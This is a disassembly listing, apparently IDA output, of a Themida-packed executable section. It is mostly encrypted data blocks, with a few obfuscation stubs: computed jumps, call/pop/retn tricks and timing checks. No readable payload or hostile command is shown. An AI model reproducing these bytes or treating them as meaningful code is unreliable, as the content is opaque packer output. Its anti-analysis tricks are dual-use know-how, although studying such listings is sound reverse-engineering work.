		dd 0DFAF78ADh, 14B3D4DCh, 0C5D047E0h, 45FE255Ah, 2233C649h
		dd 0DA70A56Ah, 29FA22A3h, 0B3E001FCh, 0E20DD420h, 7D1663ACh
		dd 16AFFC13h, 9760957Ah, 3EE61BF4h, 0DFF68F52h,	0DFE5B0D7h
		dd 35C8D347h, 56A36C24h, 2988DE5Fh, 0D4F5E06Eh,	0B15E3041h
		dd 0EE9C557Ch, 602E8E21h, 3C47DFFBh, 0F77811D0h, 845F9797h
		dd 309D308Ah, 22BCCF50h, 6885h,	1C72D700h, 0E7A6BEF3h
		dd 0D347DF5Fh, 551E53BCh, 1578D936h, 62E6C5FAh,	6BD75A7Fh
		dd 0FEB70F76h, 16422BCh, 0B6000000h, 0C0F51A72h, 457A95F7h
		dd 3DFC137Ch, 71040B84h, 0FFE2F68Ch, 1A67A8E4h,	0B394A223h
		dd 36017E62h, 55FC92A3h, 19210A3Fh, 47E00F6Eh, 0DAD9020Dh
		dd 226FDA4Eh, 0C7E7AA2Bh, 0E708D70Fh, 6BFE69A6h, 335B143Dh
		dd 60078088h, 697447DFh, 63F6C9FEh, 9FD43B52h, 2459B6D6h
		dd 0A9DE315Bh, 0A6A3AEE0h, 8DAA504Eh, 0C26A9F0Ah, 5FD60BD6h
		dd 0B2DB06DBh, 1777105Dh, 1A858A02h, 0A16E1CE5h, 27E8A36Ch
		dd 0C4C3CBF2h, 0B747DF93h, 0CF404BACh, 0DB06F29Ah, 1FC2DE06h
		dd 0BCC81868h, 21294022h, 47DF9D66h, 75770A15h,	0B0h, 0F41B72C7h
		dd 0FB147C35h, 0D0BA8368h, 4B410A3Fh, 0CAC68FC4h, 974B1045h
		dd 3067954Ah, 69FC1377h, 4ACBC41Dh, 0C6C04936h,	7A95F853h
		dd 226B7C0Fh, 477C93F7h, 937C1374h, 4B42DB28h, 0E6EE05C4h
		dd 47E059A1h, 5F44D7E2h, 5716F996h, 594F3840h, 212C47E0h
		dd 0AC3FD0C0h, 7E91FEC7h, 40B8049h, 878806CFh, 3D517F52h
		dd 0FB173FA4h, 6579FE6h, 55E422BCh, 36000000h, 0BFF41B72h
		dd 40759AF6h, 0C2F71877h, 68693F9h, 0A0699E09h,	0F6E222EDh
		dd 1D61F6EBh, 0AB6429C4h, 0B35C33ECh, 5A3ED7Eh,	137B353h
		dd 0F060396h, 78D93656h, 3C6AFD12h, 0DD325B14h,	0BC53394Ah
		dd 601F6F87h, 0F7B47DFh, 0FEDBBBD2h, 11022BCh, 62000000h
		dd 0C2F71872h, 457A95F9h, 0B530B19Dh, 90ED3AD5h, 0D3DB9A87h
		dd 49F1832Bh, 11DA0F1Ah, 0AC45927Dh, 0E0F82DE2h, 4DF18CADh
		dd 6AF576DDh, 28548C99h, 7E91FF60h, 0A7429FEBh,	526928E7h
		dd 0F22F3D4Ah, 0A0333E4Dh, 8B840AA3h, 50018D56h, 1132A7C4h
		dd 338A337h, 0A641A024h, 0E3DA27E8h, 0B5C14162h, 0ED80E634h
		dd 0AE720080h, 10DD524h, 0AE270000h, 4AC5CAA5h,	0A1820DFh
		dd 0F549F177h, 0C142BEAh, 4DF1787Bh, 29C14E3Fh,	0DDA68B1Eh
		dd 8AB4A0B1h, 648D820Ah, 2E99441Bh, 0C94648E1h,	4CC3CB94h
		dd 2DB43817h, 0F643CCC2h, 0AE148101h, 4A5624h, 0AEA80000h
		dd 0E900BFA4h, 7CB15E30h, 5F8EF9A9h, 0E2ED47DFh, 6EE688B9h
		dd 8619439Bh, 49580F17h, 606BC7E0h, 7474132Bh, 6B42C7DEh
		dd 0DBE3D8B2h, 0C7DE74ACh, 0C659C4CFh, 0AEB8677Ah, 6DFA02C1h
		dd 8E47DE74h, 809F3683h, 9000000h, 1C0A5AEh, 0F18155F9h
		dd 70A5B049h, 10FF9049h, 647508DBh, 0FF98E52Ah,	244B808Fh
		dd 192F5A3h, 7B0E68A6h,	0F16D711Bh, 0BE23674Dh,	0E5A46B23h
		dd 6EC1C6CEh, 0B7C24DF1h, 77302724h, 0F1C4F916h, 0BFE737C8h
		dd 90238D91h, 4C3B2BBh,	0B9CED6EDh, 0CA4DF193h,	0E02F5EBFh
		dd 0BF74ED4Dh, 7A435008h, 16767248h, 80C7D0F9h,	844D82EDh
		dd 28D0050Ah, 7D86A53Ch, 90D1D998h, 5F4A01B2h, 0AE510754h
		dd 0F901C0A5h, 49F68B68h, 4E174C57h, 0E982CF40h, 1D356AA5h
		dd 373B02EEh, 0F1F9C2CCh, 50DAA296h, 3A6FDAE5h,	0BEF31C71h
		dd 0A2F88F97h, 808B50DAh, 588D5440h, 20CB162Ah,	2AE5AB6Eh
		dd 0B5D972BFh, 335C255Ah, 0AEDEA7DCh, 28632C61h, 1E0AB2E7h
		dd 0CFDE1EC3h, 511AA54Eh, 0E578183Ch, 0F19D4899h, 5638D11Eh
		dd 0F879FAB9h, 45CAC6DCh, 0BB143D10h, 8166F954h, 669DD95Ah
		dd 56A95E59h, 0DB4C3h, 221E0000h, 0B3D4DCF3h, 0D047DF5Fh
		dd 720432C5h, 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh, 7C457A95h
		dd 0C9FE11h, 844D828Dh,	6CF040Bh, 8D568B84h, 0D4DB10FFh
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 53242C89h, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 8950240Ch, 405E0h, 0E8830000h
		dd 24048704h, 243C895Ch, 33D7BA52h, 59520619h, 3C8B545Ah
		dd 4C48324h, 2B4168h, 24348900h, 7789CE89h, 34FF5E08h
		dd 0C4835F24h, 240C8B04h, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0E95C243Ch, 0FFF9481Dh
		db 0EBh
; ---------------------------------------------------------------------------


loc_5EF3BD:				; CODE XREF: Themida_:loc_5EEEACj
		mov	eax, 619386Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0DBCDh
; ---------------------------------------------------------------------------
		retf	2637h
; ---------------------------------------------------------------------------
		db 0A6h
		dd 4EF6FF9h, 0EA4C058Fh, 0F36E39A9h, 0D71414E0h, 7481523Dh
		dd 8C9012EAh, 6B821CF0h, 5F20433Ah, 0C08B74E5h,	2F01BD83h
		dd 75000612h, 49BD8309h, 61221h, 53501974h, 21B8C08Bh
		dd 89000004h, 120B3585h, 99D8D06h, 0FF0614ADh, 83585BD3h
		dd 122149BDh, 17740006h, 21B85350h, 89000004h, 120B3585h
		dd 0F89D8D06h, 0FF0614A9h, 8B585BD3h, 619D8BC0h, 0C6061224h
		dd 1215C185h, 52685606h, 0FF9CA8B8h, 123101B5h,	7A858D06h
		dd 0FF061582h, 68046AD0h, 1000h, 0B81B5FFh, 6A0612h, 0C085D0FFh
		dd 0D850Fh, 0B80000h, 8D000000h, 1273088Dh, 8BE1FF06h
		dd 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h,	849BD83h
		dd 0F000612h, 0E84h, 499D8B00h,	8B061208h, 121E8985h, 51038906h
		dd 68858D52h, 0FF06127Ch, 8BFA8BD0h, 8BD18BF1h,	0C6A4F3C8h
		dd 1215C185h, 39685606h, 0FFD41F6Dh, 123101B5h,	7A858D06h
		dd 0FF061582h, 800068D0h, 6A0000h, 8BD0FF52h, 1BD83C0h
		dd 6122Fh, 0BD830975h, 6122149h, 50197400h, 0B8C08B53h
		dd 421h, 2B98589h, 9D8D0612h, 614AD70h,	585BD3FFh, 2149BD83h
		dd 74000612h, 0B8535017h, 421h,	2B98589h, 9D8D0612h, 614AA11h
		dd 585BD3FFh, 9D8DC08Bh, 6120849h, 0C00B038Bh, 7840Fh
		dd 38B0000h, 89045B8Bh,	4B41B818h, 5E80000h, 9000000h
		dd 0D1066B45h, 0C555EF81h, 0E95A4682h, 0Fh, 223CA15Ch
		dd 9B88EB79h, 0D992E96Eh, 81EBB860h, 0D7CCC2h, 0FFDB3300h
		dd 13E81334h, 0AC000000h, 0B3D6FD6Ah, 0E8AED3A5h, 5DFD1B6Bh
		dd 66079641h, 0BE66FBA8h, 58597DC6h, 0FABF0F53h, 3FF08159h
		dd 0F476705h, 0C081FFBFh, 0E2A69FFh, 51CA8B60h,	5D17BB66h
		dd 0E881615Bh, 20ECDF09h, 1CB96650h, 1A048F79h,	81F1BF0Fh
		dd 0DB407EEBh, 81F38B34h, 0DB407AC3h, 81F18B34h, 0FF28ECFBh
		dd 13850FFFh, 8A000000h, 21E9EBh, 0F4AE0000h, 762F567Eh
		dd 0C954A55Ah, 0DE81D05Bh, 33A3698Fh, 0FFFF76E9h, 46C759FFh
		dd 0D059949Ch, 0E9E10A15h, 2Ah,	2404C7h, 0E8000000h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6193B4Ah
		mov	eax, [esp+4]
		mov	[ebp+6120F0Dh],	eax
		mov	eax, 0
		lea	ecx, [ebp+6124E4Bh]
		jmp	ecx
; ---------------------------------------------------------------------------
		dw 54B8h
		dd 55000067h, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 3100FD49h
		dd 1F66FD24h, 0BA7FD24h, 8105FD24h, 44F7FD24h, 0A6EDFD24h
		dd 0D7CAFD24h, 6FABFD24h, 3386FD24h, 1CCDFD24h,	0B9AFD24h
		dd 83FFFD24h, 4558FD24h, 0A739FD24h, 0D61AFD24h, 6DC6FD24h
		dd 312AFD24h, 259DFD24h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h
		dd 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h,	0ED73FD78h
		dd 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 0BF76FD7Ah
		dd 1375A3F3h, 0CB75A3F0h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh
		dd 0BC75F8B2h, 0DBF0701Ah, 0A673E445h, 8E4E41FFh, 50F0707Ch
		dd 6C73E445h, 0EB4E81FFh, 0A0F0707Ch, 3573E445h, 474E45FFh
		dd 16F0707Ch, 1E73E445h, 0D24E7DFFh, 1DF0707Ch,	7B73E444h
		dd 604E79FFh, 2AF0707Ch, 0D773E447h, 364E75FFh,	3FF0707Ch
		dd 4273E447h, 0FC4E71FFh, 4CF0707Ch, 0F073E447h, 0A54E6DFFh
		dd 47F0707Ch, 0A673E444h, 8E4E61FFh, 2EF0707Ch,	6C73E447h
		dd 0EB4E69FFh, 7DF0707Ch, 3573E444h, 474E65FFh,	36F0707Ch
		dd 1E73E444h, 0D24E61FFh, 0B6F0707Ch, 7B73E444h, 604E51FFh
		dd 0CEF0707Ch, 0D773E444h, 364E4DFFh, 2F0707Ch,	4273E444h
		dd 0FC4E49FFh, 2CF0707Ch, 0F073E444h, 0A54E5DFFh, 4BF0707Ch
		dd 0A673E445h, 8E4E59FFh, 7BF0707Ch, 6C73E445h,	0EB4E55FFh
		dd 80F0767Ch, 3573EF6Fh, 474E08FFh, 0CAF0767Ch,	1E73EF5Ch
		dd 0D24E04FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 817C17FBh
		dd 0D525FB63h, 0ADFDF53Fh, 916CC68Eh, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 96987C27h, 0A073E447h,	364E86FFh
		dd 0ECC87D7Ch, 0CF73E441h, 0E4C5B409h, 0F9B54B75h, 863589BAh
		dd 0A54E04EFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD6CC683h
		dd 0DE0948F7h, 0C6F8FB63h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh
		dd 0BA8AFD7Ah, 916CC683h, 0F00948F7h, 0D1F8FB63h, 228A50FCh
		dd 87BC1F23h, 0A54E86F7h, 52DA07Ch, 0EC2CA320h,	97776D92h
		dd 0C1CD4D7Ah, 708A5779h, 0F46CC68Fh, 79D3ED1h,	0DA75FD78h
		dd 54CD9BC2h, 0D0DE9B59h, 8E4E08EFh, 8DE9B7Ch, 0E5779592h
		dd 0F3360B7Ah, 866E8872h, 0A54E08EFh, 54C54D7Ch, 0BA8AAD79h
		dd 916CC68Fh, 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh
		dd 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h
		dd 83FE4DBAh, 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah
		dd 49C5120Eh, 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh
		dd 7975FF7Bh, 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h
		dd 7F5DF70h, 0B5FF4DBAh, 0C9806885h, 1F2FFB63h,	0DA51FD5Fh
		dd 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah,	0E5743592h
		dd 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh
		dd 9775FC5Bh, 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch
		dd 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah
		dd 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah
		dd 487DF99Eh, 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h,	0D75FD7Ah
		dd 604E04EFh, 7CC0707Ch, 5D73E441h, 2C7F518Ah, 62E002D0h
		dd 873E441h, 0E574E592h, 0F8254D7Ah, 4B9D5779h,	548A0284h
		dd 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h, 61274DD0h,	1A8BE192h
		dd 0FDCD9B85h, 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h
		dd 3C225792h, 0CB750C92h, 22FEA77Ah, 1AF63F51h,	9177747Eh
		dd 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h, 0D24E8FFFh
		dd 97C87D7Ch, 0F373E441h, 0FCF8EC0Fh, 0BA6CC69Eh, 5C61152Ah
		dd 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h
		dd 87DF9CCAh, 0A54E8FF7h, 2CC87D7Ch, 2F73E441h,	12F8F10Fh
		dd 0CD6CC69Eh, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 878C6885h
		dd 0C3F8FB63h, 296CBD3Bh, 3D6DF9F0h, 619C4DB9h,	8E9D562Dh
		dd 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 296CC68Fh
		dd 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h,	279DAE7Ah
		dd 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h, 0D24E08EFh
		dd 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h,	0D52F0285h
		dd 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F46CC683h
		dd 42AD60F7h, 0A0F8FB63h, 4ECD3E39h, 0D075FD7Ah, 8E4E04EFh
		dd 0CEB57E7Ch, 1A8935F1h, 0EB4E08EFh, 8E97577Ch, 43BE15B9h
		dd 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch,	1DB61608h
		dd 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 6F2417FBh
		dd 0EAFCFB63h, 3FCF7D86h, 0E573E441h, 0F2EC7975h, 73CDFD7Ah
		dd 4375FD7Ah, 474E04E8h, 0ADFCBD7Ch, 916CC687h,	79F835F1h
		dd 0E36CBC5Fh, 0C9806F85h, 7FFDFB63h, 4801F3Ch,	5E75FD6Dh
		dd 14887F79h, 1A35FB63h, 0D234E4E0h, 0E1B67E7Ch, 4B22FEF3h
		dd 7975FD64h, 87887779h, 0ECF8FB63h, 296CBC7Dh,	2F2B5989h
		dd 0CB75FD72h, 0DE8C6F85h, 0AF6FB63h, 7185897Eh, 0BC72447Ch
		dd 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h
		dd 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h
		dd 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h
		dd 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh
		dd 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah
		dd 2F75151Ah, 162FFD7Ah, 0D234C590h, 0E4CF707Ch, 7973E446h
		dd 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh,	8E49FCE7h
		dd 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h
		dd 475FD7Ah, 6E0417FBh,	25F8FB63h, 0CD6CC17Bh, 5C7D80F1h
		dd 0F275FD72h, 0B0145989h, 0DC75F9B8h, 627440F7h, 0EF46FB63h
		dd 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F46CC17Bh, 7874C2FBh
		dd 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h,	0ABB69C82h
		dd 0D97440F7h, 0F3CDFB63h, 0C075FD7Ah, 0BC75FD72h, 9D145789h
		dd 0EFFE3DF1h, 0AB7B78F7h, 0D08AFB63h, 3BE9CA8Bh, 60000000h
		dd 20C5BD8Bh, 0EF830612h, 8BC93304h, 8320BBC1h,	0C783EDB8h
		dd 8BE04h, 0E8D10000h, 0D323D21Bh, 0F4EC233h, 0FFFFF185h
		dd 78941FFh, 100F981h, 820F0000h, 0FFFFFFD3h, 0C88BC361h
		dd 16EBh, 4 dup(0)
		dd 1010000h, 3B4h, 6A0619h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 837C77C3h, 5090A274h
		dd 0BE852h, 0B38F0000h,	4E134B0Ch, 742BEA45h, 0DFC1BBEAh
		dd 0F5B7C6Dh, 9E831h, 6D330000h, 6788F76Dh, 53E7A812h
		dd 585A595Ah, 90CF8B50h, 0BEDF1BBBh, 60006A42h,	43D9D31h
		dd 858B0612h, 612270Dh,	6A006A61h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B459C351h
		dd 257C9A8h, 0D18B601Fh, 15E59529h, 81610612h, 0FE89BDD9h
		dd 9F858D0Ah, 6A061943h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 1E6C355h, 1220DD8Dh
		dd 0D38B5006h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 74B9C355h, 6AA6D0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 96C35545h
		dd 0DAC97532h, 1BB9B589h, 6A0612h, 2CE98D8Bh, 95FF0612h
		dd 6120B55h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0B2C35747h, 0CA8BF3B9h,	5BDE9h,	0AE800h, 0EBEA0000h
		dd 4B22E6A3h, 19074FD9h, 1B958D89h, 29590612h, 12244585h
		dd 0E806h, 815D0000h, 1943A4EDh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C9ABEF1Bh
		dd 0CF818860h, 23FD4CFDh, 2F2DB589h, 8F0F0612h,	6, 180D8D2Bh
		dd 9D8B0612h, 61233B5h,	4E8h, 0FA000h, 52506000h, 310FF18Bh
		dd 0AE8h, 0F2B1E400h, 8028B76Ch, 59C2DDEDh, 5061585Ah
		dd 0E2B96051h, 50493391h, 5A310F52h, 8B5F6158h,	8B042444h
		dd 0B6008BFEh, 2444890Eh, 0BE804h, 0D24E0000h, 0F860199Fh
		dd 63621142h, 7A36BBF6h, 585943D1h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 7CC35646h, 0A3B7577Ah, 29D195FFh
		dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0BAFF43C3h, 5DAF417Dh, 4224B58Dh,	6A0619h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 912AC9C3h, 0ED9589C4h, 0C706122Ah, 67655206h, 52006A6Dh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 29BEB81Dh, 10E9C758h, 23000000h, 0E2DE5E80h,	3F484709h
		dd 0C2D4A6D2h, 0C78A7923h, 6E6F0446h, 6A6C63h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 5E013C3h, 77C081E4h,	0B195AF34h, 846C798h, 737361h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3EC35646h
		dd 0AE082152h, 0D0F9B697h, 29E98D8Bh, 95330612h, 61229B5h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0F4DFA8C3h, 9D891DB9h, 6122A35h, 2C4D8589h
		dd 858D0612h, 6194224h,	1CE98166h, 0BE950FAh, 96000000h
		dd 443FAADEh, 0F3EE7BDh, 489D7FAh, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 9E411581h
		dd 4E929CC4h, 0F381AB76h, 1DA3E179h, 8BD8589h, 95FF0612h
		dd 6121DA1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0BFC35242h, 0E8BD775Fh,	5E890h,	6D710000h, 0E996E813h
		dd 0Eh,	8F38A6AEh, 40794905h, 55699DEDh, 0B5A2502h, 4C840FC0h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0D5C2C353h, 925A457Eh,	0F88B662Ch
		dd 2D2E9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0B59D8BF8h, 68061225h, 10FD1EBEh
		dd 3481DE8Bh, 0FD1F9224h, 58C0F10h, 0BF000000h,	4BBB224h
		dd 29D195FFh, 8A600612h, 0F59D8BD0h, 6106122Fh,	4224B58Dh
		dd 6A0619h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 85C824C3h, 8589BA0Dh, 6122D21h, 2A3D9529h
		dd 6C70612h, 36343831h,	46C7DF8Bh, 342D3704h, 52006A31h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0FF33557h, 68Ch, 9D958B00h, 1061223h, 1226159Dh, 846C706h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	eax
		call	sub_5F01F5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F01F5	proc near		; CODE XREF: Themida_:005F01EDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5F01F5	endp

; ---------------------------------------------------------------------------
		db 78h,	0F9h, 0F2h
		dd 0CBEB3224h, 68A0F91h, 0B000000h, 122C99BDh, 0FD9D8906h
		dd 8D061225h, 19422485h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0A84A3ABEh, 655F58Fh
		dd 0AA517BBBh, 0CB8B5077h, 50240489h, 0FF5BDF8Bh, 121DA195h
		dd 319D8B06h, 89061222h, 12334D8Dh, 0FC00B06h, 2D84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0AA37B579h, 0E973ADCEh, 15Fh, 1F71B529h, 4E80612h, 2C000000h
		dd 0BF000001h, 6FEB5040h, 14E850h, 5B540000h, 3A33CB7Dh
		dd 0F87FBFEDh, 95CB1F4Bh, 0DA318F24h, 9E81D95h,	9C000000h
		dd 8EBD55D2h, 0F08318A6h, 310F5250h, 5A59585Ah,	424448Bh
		dd 8BCE8Bh, 683ABB53h, 89593064h, 50042444h, 0CA8B6652h
		dd 585A310Fh, 0D6BF0F58h, 25698D89h, 95FF0612h,	61229D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 83C35545h
		dd 0DEB70FB1h, 4224B58Dh, 66600619h, 6190C2BFh,	694606C7h
		dd 9D8B656Ch, 61212C9h,	6D0446C7h, 8B636E6Fh, 1203D5BDh
		dd 846C706h, 7373616Ch,	15EDB509h, 46C70612h, 0Ch, 36EFB900h
		dd 6A682Fh, 8DFAD280h, 19422485h, 6690F906h, 0F50D68Bh
		dd 8Fh,	0F3809000h, 8DB589BEh, 0FF06121Fh, 121DA195h, 21B96606h
		dd 0FC00BF6h, 3284h, 28F0F00h, 0B3000000h, 51E9C0h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 4113F4C3h, 0A2C981ECh, 0E9757A84h, 0FFFFFAA9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0D9C35747h, 59B6569Dh
		dd 0EDBD295Ah, 8D061231h, 127308B5h, 5E906h, 52BC0000h
		dd 0B8FEB9C7h, 0
; ---------------------------------------------------------------------------
		sbb	ebx, 52DB80B7h
		jmp	esi
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6121B6Dh]
		mov	eax, ecx
		jmp	short loc_5F042A
; ---------------------------------------------------------------------------
		or	[ebp+15h], bh
		sub	eax, 59FA54Bh
		push	esi
		sbb	ebx, eax
		inc	ebx


loc_5F042A:				; CODE XREF: Themida_:005F041Cj
		jmp	loc_5F091E
; ---------------------------------------------------------------------------
		jmp	loc_5F0917
; ---------------------------------------------------------------------------
		dd 49967918h, 0E633DCB0h, 85D23D4Dh, 1F6CA3ECh,	0BB080786h
		dd 8904EACBh, 0EBA03986h, 523ED724h, 0B7D770BDh, 0E2310B58h
		dd 0F8A8ADDAh, 1BF1CE4Dh, 0BEF31C72h, 3F749BF5h, 0C5FA1576h
		dd 497E91FCh, 0CD020D80h, 4F848B04h, 0D60B0486h, 5B907F0Dh
		dd 21E0C5CEh, 0D43B510Ah, 0A6E6E141h, 141549F6h, 90639877h
		dd 6327F025h, 0C4C65FACh, 63FE164Bh, 0BA32E362h, 3B523BA6h
		dd 0F4E75433h, 891C2774h, 0B0FD1278h, 9C5B4A53h, 0E80A7D85h
		dd 6E7974F4h, 5F646CDBh, 0A4770C2Fh, 0F59B6499h, 5C34CD1Ah
		dd 9E577EB3h, 2F8F22EDh, 6F523307h, 0B4DD0418h,	4A7F90FBh
		dd 0BDD3E477h, 9FA80552h, 3B31565Eh, 789706Ah, 0A6657008h
		dd 6A3AE99Eh, 248F9A70h, 4A995D65h, 3E55727Ch, 0BB3F3BBDh
		dd 0EA9AC11Ah, 7677C69Dh, 0F840D3DEh, 0EBA0B8EDh, 0CF7677C6h
		dd 551E53BCh, 0DA3D837h, 0CBF3E8F9h, 7B5B32AFh,	430C2499h
		dd 7C0F008Ah, 0C7Ah, 9874CC00h,	9D000002h, 0D669A6E4h
		dd 0F11E72A8h, 7897F3BCh, 17CA7E43h, 0FE4BC4CCh, 25E42B65h
		dd 5F81060Eh, 390247DFh, 0E9815A75h, 0FF60CB9Ah, 7C4F848Bh
		dd 0AC6404E9h, 16742D4Ch, 5EF1C4F9h, 7C14CF12h,	711BD493h
		dd 0F9FAFDE0h, 970210B2h, 0FFFC8F62h, 0B6EB2466h, 386DA2EDh
		dd 0B23DA490h, 0BF7837D8h, 0B0AD40CFh, 8A8F00B9h, 11A40F00h
		dd 5FF9CCB1h, 0B45B32E6h, 52BDCE67h, 0D837541Dh, 1DD60DA3h
		dd 94679C73h, 0C12CB501h, 0D33C4FCAh, 0D2841B68h, 0AD000000h
		dd 0E1749BF4h, 0C5A0AEB3h, 3F1247C8h, 0B69415D4h, 33614047h
		dd 12DBC053h, 0AD46937Ch, 0E5FD32DDh, 47E039A2h, 0FB944D39h
		dd 0CF74277Ah, 0FC8F1225h, 0B1709FEBh, 0E57897F8h, 0D33C4FE8h
		dd 0DB345B14h, 0C14D3A6h, 47E0177Bh, 856AFD08h,	7E3DD2BCh
		dd 84E472FDh, 0BF52D262h, 0B13044DAh, 6DBA5536h, 2A62B7D4h
		dd 72DDB0E5h, 0F619743Dh, 7C93F8C1h, 6F182047h,	0C47DFD8h
		dd 23ECA001h, 9D4458EEh, 0C51C0848h, 61AE612Ah,	8B4AC5C8h
		dd 0BF52BDD2h, 94FAB3DAh, 1100E87Bh, 90C54A40h,	1146C9C7h
		dd 0CC11D014h, 99548D99h, 35CE1BF4h, 74F5B45Bh,	91FA7AFCh
		dd 0D684652Dh, 6B9E4972h, 21EE9F00h, 0A18619ECh, 0DFA40589h
		dd 0E4FDC147h, 3B888709h, 0F11E7285h, 0B49DF3BCh, 835AAD9Ch
		dd 91C631BFh, 38B32EB2h, 826AB758h, 47DFC0F0h, 80368F4Ch
		dd 0EE322BCh, 35FFFFFFh, 1C0A5AEh, 0F18155F9h, 70A5B049h
		dd 2A6AE7A7h, 0A94ACC63h, 0DF1416Ah, 11F6A305h,	0CEC059A6h
		dd 4C430C41h, 0E4F88EC3h, 739CF2FDh, 7D92FBB4h,	3A54EDEAh
		dd 688A0D5h, 0A24DF1FDh, 6628C31Eh, 0CBC35CA9h,	79820F44h
		dd 31C5CD8Ch, 0ED50040Ch, 23B65934h, 2683D0DBh,	7179381Dh
		dd 49F7338Eh, 945D929Dh, 2DC613FCh, 5077AC63h, 24563139h
